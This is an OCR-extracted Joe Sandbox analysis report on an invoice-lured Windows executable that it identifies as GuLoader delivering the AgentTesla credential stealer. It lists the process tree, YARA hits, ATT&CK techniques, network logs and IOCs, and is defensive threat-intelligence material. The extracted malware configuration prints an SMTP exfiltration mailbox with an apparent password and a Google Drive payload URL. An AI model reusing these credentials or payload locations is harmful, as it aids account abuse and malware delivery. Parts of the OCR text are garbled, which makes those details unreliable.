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Windows Analysis Report FAKTURA 9502461485.exe
Overview

General Information Detection

Sample FAKTURA
Name: 9502461485.exe MALICIOUS

Analysis ID: 530352

Classification

Found malware configuration

Multi AV Scanner detection for subm...

MD5:
34ae2e779e3b63.. Yara detected AgentTesla
SHA1:
0f7dc13bf5871f3... Yara detected Guloader
SHA256: 5bf5fa8d817fb29...
Hides threads from debuggers
Infos: Q ;1‘ pi3 & H

Tries to steal Mail credentials (via fil...
Most interesting Screenshot:
Writes to foreign memoary. regions

Tries to harvest and steal Putty. / Wi...

Tries to detect Any.run

Score: 100 Tries to harvest and steal ftp loginic...
Range: 0-100 Tries to detect sandboxes and other...
Whitelisted: false

X C2 URLs / IPs found in malware con...
Confidence: 100%

%)
«Q
=3
4
c
=
(1
7]

Process Tree

= System is wl0x64native

e i FAKTURA 9502461485.exe (PID: 5892 cmdline: "C:\Users\user\Desktop\FAKTURA 9502461485.exe" MD5: 34AE2E779E3B63F6450AACBAAGB5AB1D)
@l conhost.exe (PID: 4060 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AAIFFAGS)
e (B CasPol.exe (PID: 7824 cmdline: "C:\Users\user\Desktop\FAKTURA 9502461485.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
e (B CasPol.exe (PID: 7068 cmdline: "C:\Users\user\Desktop\FAKTURA 9502461485.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
. conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
e [B] UserOOBEBroker.exe (PID: 6196 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)
= cleanup

Malware Configuration

Threatname: Agenttesla

{
"Exfil Mode": "SMTP",

“"SMTP Info": "gulnaz @furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trforceconnor36 @gmail.com”

}

Threatname: GuLoader

{
“"Payload URL": "https://drive.google.com/uc?export=download&id=1xfUz"
}

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000005.00000000.4281032947.0000000000C JoeSecurity_GulLoader_2  Yara detected Joe Security
10000.00000040.00000001.sdmp GuLoader
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Source Rule Description Author Strings

00000005.00000002.9200234712.000000001DD JoeSecurity_AgentTesla_1 Yara detected Joe Security
B1000.00000004.00000001.sdmp AgentTesla
00000005.00000002.9200234712.000000001DD JoeSecurity_CredentialSte Yara detected Joe Security
B1000.00000004.00000001.sdmp aler Credential Stealer
Process Memory Space: CasPol.exe PID: 7068 JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla
Process Memory Space: CasPol.exe PID: 7068 JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer

Sigma Overview

No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

=|

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

= “

Networking:

Data Obfuscation:

=

Yara detected GuLoader

Malware Analysis System Evasion:

=

Anti Debugging:

]‘

HIPS | PFW | Operating System Protection Evasion:

=

Stealing of Sensitive Information:

Yara detected AgentTesla
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Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial Privilege Credential
Access Execution Persistence Escalation Defense Evasion Access Discovery
Valid Windows Management  DLL Side-  Process Disable or Modify os Security Software
Accounts  Instrumentation Loading Injection Tools Credential  Discovery
Dumping

Default Scheduled Task/Job Boot or DLL Side- Virtualization/Sandbox Credentials Process Discovery
Accounts Logon Loading Evasion in

Initialization Registry

Scripts
Domain At (Linux) Logon Script Logon Script Process Security Virtualization/Sandbox
Accounts (Windows)  (Windows) Injection Account Evasion

Manager

Local At (Windows) Logon Script Logon Script Obfuscated Filesor ~ NTDS Application Window
Accounts (Mac) (Mac) Information Discovery
Cloud Cron Network Network Logon  DLL Side-Loading LSA File and Directory
Accounts Logon Script Script Secrets Discovery
Replication Launchd Rc.common  Rc.common Steganography Cached System Information
Through Domain Discovery
Removable Credentials
Media

Behavior Graph
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mail furteksdokuma.com.tr

HETZNER

Screenshots

Thumbnails

furteksdokuma.com.tr

Behavior Graph

ID: 530352
Sample: FAKTURA 9502461485.exe
Startdate: 20111/2021

Architecture:  WINDOWS
Score: 100

- - - e

ntent.com

49790

CasPol.exe ~

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

FAKTURA 9502461485.exe

P0® 2 |

] conhostere
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Recycle Bin GURQNKVAEPMLNOE MK
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
furteksdokuma.com.tr 0% Virustotal Browse
mail.furteksdokuma.com.tr 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://schemas.microso 0% Avira URL Cloud safe
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% Avira URL Cloud safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.zip%tordir%%ha

http://v5ifWTQoxKpuwYgKikim.org 0% Avira URL Cloud safe
http://furteksdokuma.com.tr 0% Avira URL Cloud safe

http://mail furteksdokuma.com.tr 0% Avira URL Cloud safe

http:/fvyecowW.com 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/5bf5fa8d817fb2902dc28de115286e963b6dd4f5940d00e017b9944172972b25/detection/f-5bf5fa8d817fb2902dc28de115286e963b6dd4f5940d00e017b9944172972b25-1638192627
https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
https://www.virustotal.com/gui/url/c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb/detection/u-c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb-1635755249

Source Detection Scanner Label Link
http://https://csp.withgoogle.com/csp/report-to/gse_I9ocaq 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.185.206 true false high
googlehosted.l.googleusercontent.com 216.58.212.161 true false high

doc-14-5g-docs.googleusercontent.com

Contacted URLs

Name

http:i/https://doc-14-5g-

docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhgsh7mbp1/naj9881u9k
047t95uihbncisipqv3ulg/1638192300000/15863333049961931076/*/1xfUz6Q4yBDyDwxM8ow._

8y-LmZtRoRBTm?e=download

URLs from Memory and Binaries

Contacted IPs

Public

P Domain
142.250.185.206

216.58.212.161
content.com

drive.google.com

googlehosted.l.googleuser United States

unknown unknown false high
Malicious Antivirus Detection Reputation
false high
Country Flag ASN ASN Name Malicious
United States = 15169 GOOGLEUS false
= 15169 GOOGLEUS false

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Copyright Joe Security LLC 2021

34.0.0 Boulder Opal
530352

29.11.2021

14:23:23

CloudBasic

Oh 12m 43s

false

light

FAKTURA 9502461485.exe
default.jbs

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Suspected Instruction Hammering
23

o ©o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled
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https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
https://www.virustotal.com/gui/url/c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb/detection/u-c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb-1635755249

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

14:25:55

API Interceptor

default

Timeout

MAL

mal100.troj.spyw.evad. WinEXE@8/2@3/3
Failed

Failed

e Successful, ratio: 93%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Type Description

Joe Sandbox View | Context

IPs

Match
116.202.203.61

Domains

Match

ASN

Match
HETZNER-ASDE

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

2785x Sleep call for process: CasPol.exe modified

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

Detection

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Link

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

Context

Context

116.202.24
9.144

116.202.24
9.144

144.76.136.153
88.99.22.5

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

5.75.234.243
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https://view.joesandbox.com/analysis/415943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid
https://view.joesandbox.com/analysis/417914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417914/html/none?idtype=webid
https://view.joesandbox.com/analysis/417912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417912/html/none?idtype=webid
https://view.joesandbox.com/analysis/417911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417911/html/none?idtype=webid
https://view.joesandbox.com/analysis/417910/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417910/html/none?idtype=webid
https://view.joesandbox.com/analysis/417908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417908/html/none?idtype=webid
https://view.joesandbox.com/analysis/417905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417905/html/none?idtype=webid
https://view.joesandbox.com/analysis/417900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417900/html/none?idtype=webid
https://view.joesandbox.com/analysis/417896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417896/html/none?idtype=webid
https://view.joesandbox.com/analysis/417895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417895/html/none?idtype=webid
https://view.joesandbox.com/analysis/417893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417893/html/none?idtype=webid
https://view.joesandbox.com/analysis/417892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417892/html/none?idtype=webid

Match

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Copyright Joe Security LLC 2021

Associated Sample Name / URL

Associated Sample Name / URL

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

116.202.24
9.144

144.76.136.153

Context

216.58.212.161

e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206
216.58.212.161

e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206

e 216.58.212.161
e 142.250.18

5.206
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https://view.joesandbox.com/analysis/417891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417891/html/none?idtype=webid
https://view.joesandbox.com/analysis/417887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417887/html/none?idtype=webid
https://view.joesandbox.com/analysis/417884/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417884/html/none?idtype=webid
https://view.joesandbox.com/analysis/417879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417879/html/none?idtype=webid
https://view.joesandbox.com/analysis/417850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417850/html/none?idtype=webid
https://view.joesandbox.com/analysis/417847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417847/html/none?idtype=webid
https://view.joesandbox.com/analysis/417841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417841/html/none?idtype=webid
https://view.joesandbox.com/analysis/417838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417838/html/none?idtype=webid
https://view.joesandbox.com/analysis/417824/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417824/html/none?idtype=webid
https://view.joesandbox.com/analysis/417914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417914/html/none?idtype=webid
https://view.joesandbox.com/analysis/417910/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417910/html/none?idtype=webid
https://view.joesandbox.com/analysis/417908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417908/html/none?idtype=webid
https://view.joesandbox.com/analysis/417900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417900/html/none?idtype=webid
https://view.joesandbox.com/analysis/417895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417895/html/none?idtype=webid
https://view.joesandbox.com/analysis/417891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417891/html/none?idtype=webid
https://view.joesandbox.com/analysis/417890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417890/html/none?idtype=webid
https://view.joesandbox.com/analysis/417884/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417884/html/none?idtype=webid
https://view.joesandbox.com/analysis/417882/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417882/html/none?idtype=webid
https://view.joesandbox.com/analysis/417861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417861/html/none?idtype=webid
https://view.joesandbox.com/analysis/417850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417850/html/none?idtype=webid
https://view.joesandbox.com/analysis/417845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417845/html/none?idtype=webid
https://view.joesandbox.com/analysis/417841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417841/html/none?idtype=webid
https://view.joesandbox.com/analysis/417762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417762/html/none?idtype=webid
https://view.joesandbox.com/analysis/417547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417547/html/none?idtype=webid
https://view.joesandbox.com/analysis/417361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417361/html/none?idtype=webid
https://view.joesandbox.com/analysis/417245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417245/html/none?idtype=webid
https://view.joesandbox.com/analysis/417243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417243/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 216.58.212.161
e 142.250.18
5.206

Get hash malicious Browse e 216.58.212.161
e 142.250.18
5.206

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Temp\~DFA363D71F6717A72C.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\FAKTURA 9502461485.exe

Composite Document File V2 Document, Cannot read section info

dropped

16384

1.9866006611106688

false

96:jWpahLKAycVxc4LIvnffSIPWOwLzzj1ylIDHN3Rs:KMhLKCxV5vnfflowldHBs
A256BBA112F7FA34FE9E19ED07DODF83
3E86ADD7C0890C55E8F22334A3E26134D7AB1EES
ABI9F6744C55428A62F4696BC1779409A30420D0983EDD5536A0D280DF5EE7FEQ
9E762DFE82611778602E8BF19439E48AF7278D3D9399FF44666EB8A196206F4B1B50B9B623710B138BD7A7E9C1EOAOSBES5CE6GFB7B0F208C9664669297CA16EA

false

low

\Device\ConDrv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

ASCII text, with CRLF line terminators

dropped

30

3.964735178725505

false

3:IBVFBWAGRHneyy:ITQAGRHner

9F754B47B351EFOFC32527B541420595
006C66220B33E98C725B73495FE97B3291CE14D9
0219D77348D2F0510025E188D4EA84ABE73F856DEBSE0878D673079D05840591
C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
false

moderate, very likely benign file

NordVPN directory not found!..

Static File Info

General
File type:
Entropy (8bit):
TriD:

PE32 executable (GUI) Intel 80386, for MS Windows
5.029637622456598

e Win32 Executable (generic) a (10002005/4)
99.15%

e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
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https://view.joesandbox.com/analysis/417220/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417220/html/none?idtype=webid
https://view.joesandbox.com/analysis/417217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417217/html/none?idtype=webid

General
File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

<

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:
Entrypoint Preview
Data Directories
Sections

Name  Virtual Address

text 0x1000
.data 0x22000
.rsrc 0x24000

Resources
Imports
Version Infos

Possible Origin

Copyright Joe Security LLC 2021

Virtual Size
0x20d58

0x1250

0x2f34

Raw Size
0x21000

0x1000

0x3000

Xored PE

False

False

False

70ecccaececc7le2

0x4015a8
text
false
0x400000

windows gui

FAKTURA 9502461485.exe

155648

34ae2e779e3b63f6450aachaabb5abld
0f7dc13bf5871f3ba281e064776371520b65bdd9

5bf5fa8d817fb2902dc28de115286e963b6dd4f5940d00e
017b9944172972b25

e3e4091f41e56ab35f0be0fda28f7bd569b4ec3a9f513cfb
a7423eff71ac206563801103ec0ef15f8e3279578d45e20
38d66861196f6c1d731929873a8ecfa48

1536:6sfIffaX1bYawjWwTQGfLZDLMC30X5TnzIN26x64
XhViJffpfIff:bfIffqYiQuDLmMCunzIFhV{JffpfJff

.LITh

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x56A09498 [Thu Jan 21 08:19:36 2016 UTC]

o » o » O &

458ac857eb15a6ebaad7748f2f663dae

ZLIB Complexity

0.360011245265 data
0.00634765625 data
0.232340494792 data

File Type

Entropy
5.1903509422

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

4.20527594126 IMAGE_SCN_CNT_INITIALIZED_DA

TA, IMAGE_SCN_MEM_READ
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Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Nov 29, 2021 14:25:45.137398005 CET

Nov 29, 2021 14:25:45.821779013 CET

Nov 29, 2021 14:27:21.493170977 CET

DNS Answers

Timestamp Source IP Dest IP

Nov 29, 2021
14:25:45.147022963
CET

Nov 29, 2021
14:25:45.858912945
CET

1111

1111

Nov 29, 2021
14:25:45.858912945
CET

1111

Nov 29, 2021
14:27:21.572004080
CET

Nov 29, 2021
14:27:21.572004080
CET

1111

1111

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Source IP

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID
0xa036

0x7el3

O0x7el3

0x2114

0x2114

HTTP Request Dependency Graph

e drive.google.com

e doc-14-5g-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49789

Direction

Country where language is spoken

United States

Dest IP Trans ID OP Code Name Type
1111 0xa036 Standard query  drive.google.com A (IP address)
©)
1111 0x7el3 Standard query  doc-14-5g- A (IP address)
(0) docs.goog|
eusercontent.com
1111 0x2114 Standard query  mail.furte A (IP address)
(0) ksdokuma.com.tr
Reply Code Name CName Address Type
No error (0) drive.goog 142.250.185.206 A (IP address)
le.com
No error (0) doc-14-5g- googlehosted.l.googleuse CNAME
docs.goog| rcontent.com (Canonical
euserconte name)
nt.com
No error (0) googlehost 216.58.212.161 A (IP address)
ed.l.goog!
euserconte
nt.com
No error (0) mail.furte furteksdokuma.com.tr CNAME
ksdokuma.c (Canonical
om.tr name)
No error (0) furteksdok 116.202.203.61 A (IP address)
uma.com.tr

Destination IP

142.250.185.206 443

Data

Destination Port Process

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0Xx0001)
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kBytes
Timestamp transferred

2021-11-29 13:25:45 UTC 0

2021-11-29 13:25:45 UTC 0

2021-11-29 13:25:45 UTC 1

2021-11-29 13:25:45 UTC 2

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-11-29 13:25:45 UTC 2

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49790

Direction
ouT

Data

GET /uc?export=download&id=1xfUz6Q4yBDyDwxM8ow_8y-LmZtRoRBTm HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 29 Nov 2021 13:25:45 GMT

Location: https://doc-14-5g-docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhg5h7mbpl/naj9881u
9ko47t95uihbncisipqv3ulg/1638192300000/15863333049961931076/*/1xfUz6Q4yBDyDwxM8ow_8y-LmZtRoRBTm?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-OoZlycLzjoD3Wp7d90eKZw' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=GKRw30nGieCY-5ENOHcX2LG1gva5BSHEZZTYd2VzTi2fKec8xrVr2bpQfSGE_DJatY6Bpl
781yuyeCwiw38HMS3E9tHeukaWdceECsvdtLiXHg7hOz8XD5VIVe4VDKRGO_gfBfzvKbVS02Bzrhj8v8BTUTSs4cLP_
d713PmcZuh4; expires=Tue, 31-May-2022 13:25:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
e

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4¢ 45 3e 0a 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
726172 69 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 31 34 2d 35 67 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 6e 61 6a 39

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-14-5g-docs.goog
leusercontent.com/docs/securesc/ha0Oro937gcuc7I7deffksulhgsh7mbp1/naj9

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP  Destination Port Process
216.58.212.161 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbp1/naj9881u9ko47t95uihbnceisipqv3ulg/1638192300000/1
5863333049961931076/*/1xfUz6Q4yBDyDwxM8ow_8y-LmZtRoRBTm?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-14-5g-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-11-29 13:25:46 UTC 2

2021-11-29 13:25:46 UTC 6

2021-11-29 13:25:46 UTC 9

2021-11-29 13:25:46 UTC 13

2021-11-29 13:25:46 UTC 17

2021-11-29 13:25:46 UTC 18

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycds8v-EVPFA00XC-g-LaD5j2t4EF70USVD7JHkonlKpzklIW1Ln-8YP_Q-irktUS
5FAM6XKgvYFNCS5ex5a40hsdwhzj3w

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
